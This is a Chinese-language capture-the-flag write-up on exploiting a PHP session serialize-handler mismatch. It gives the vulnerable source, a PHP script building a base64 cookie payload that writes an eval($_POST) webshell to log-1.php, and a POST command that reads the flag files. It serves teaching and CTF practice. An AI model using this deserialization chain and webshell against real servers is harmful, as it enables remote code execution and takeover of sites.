源码
也没有什么别的信息,扫一下目录,下载www.zip拿到源码
思路
知识点:- php在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取$_SESSION数据,都会对数据序列化和反序列化,源码中有session_start的时候会读取session,从而进行反序列化.
- php . ini 中默认 session.serialize_handler 为 php_serialize,而 index.php 中将其设置为 php ,这个差异就导致了 sesssion 反序列化问题。
- php有三种处理器对$_SESSION数据进行序列化和反序列化。
php_binary 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值
php 键名+竖线(|)+经过serialize()函数处理过的值
php_serialize 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化
先找几个关键点
index.php
$_SESSION['limti']
键名写错了,应该是limit,所以永远不成立,我们可以通过$_SESSION['limit']=base64_decode($_COOKIE['limit'])
来控制session的值
session_start();
//超过5次禁止登陆
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}
在check.php中我们发现了require_once 'inc/inc.php';
,进入inc.php
发现在User类的魔术方法中可以写入文件,虽然没有给让我们进行反序列化的代码,不过ini_set('session.serialize_handler', 'php');
,把session.serialize_handler设置为了php,和index.php不一致,可以利用它来反序列化.
php . ini 中默认 session.serialize_handler 为 php_serialize,而 index.php 中将其设置为 php ,这个差异就导致了 sesssion 反序列化问题。
ini_set('session.serialize_handler', 'php');
session_start();
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}
(盗用下Y1ng师傅的图)
php_serialize
php
index.php页面session.serialize_handler为php_serialize,存储在里面的值是经过序列化了的,check.php和inc/inc.php的session.serialize_handler为php,而且用了session_start(),可以读取session文件进行反序列化操作
正常来说在index.php页面存储的session不能正常在check.php和inc/inc.php进行反序列化,但是如果在属性的值中加入|
的话 ,在check.php和inc/inc.php页面反序列化的时候|
前面的会被看做键名,会对|
后面的进行反序列化
在本地构造一下,可以通过base64编码后在index.php页面传入cookie中的limit,让序列化的结果以php_serialize的方式存储进去
<?php
class User{
public $username='1.php';
public $password = '<?php echo 123;eval($_POST["Kradress"]);?>';
// public $status;
// function setStatus($s){
// $this->status=$s;
// }
// function __destruct(){
// file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
// }
}
//fE86NDoiVXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czo0MjoiPD9waHAgZWNobyAxMjM7ZXZhbCgkX1BPU1RbIktyYWRyZXNzIl0pOz8%2BIjt9
echo urlencode(base64_encode("|".serialize(new User)));
然后访问check.php或者inc/inc.php,执行session_start()来读取session文件来反序列化,然后当前目录就会生成log-1.php文件,访问回显123,说明我们的代码成功写入,就可以直接getshell了
题解
<?php
class User{
public $username='1.php';
public $password = '<?php echo 123;eval($_POST["Kradress"]);?>';
// public $status;
// function setStatus($s){
// $this->status=$s;
// }
// function __destruct(){
// file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
// }
}
echo urlencode(base64_encode("|".serialize(new User)));
//Cookie:limit=fE86NDoiVXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czo0MjoiPD9waHAgZWNobyAxMjM7ZXZhbCgkX1BPU1RbIktyYWRyZXNzIl0pOz8%2BIjt9
//post:Kradress=?><?=`tac f*`;
总结
其实还可以在check.php和inc/inc.php页面上传PHP_SESSION_UPLOAD_PROGRESS来解的,PHP_SESSION_UPLOAD_PROGRESS存入session的时候默认以php_serialize的方式,通过把上传文件的filename的值改为| +序列化
,然后再check.php和inc/inc.php页面执行session_start也可以反序列化,如果clean up开着的话可以用条件竞争
不过我自己在做Y1ng师傅给的题目的时候发现后面拼接上了一个"tmp_name",导致反序列化失败,具体还不知道原因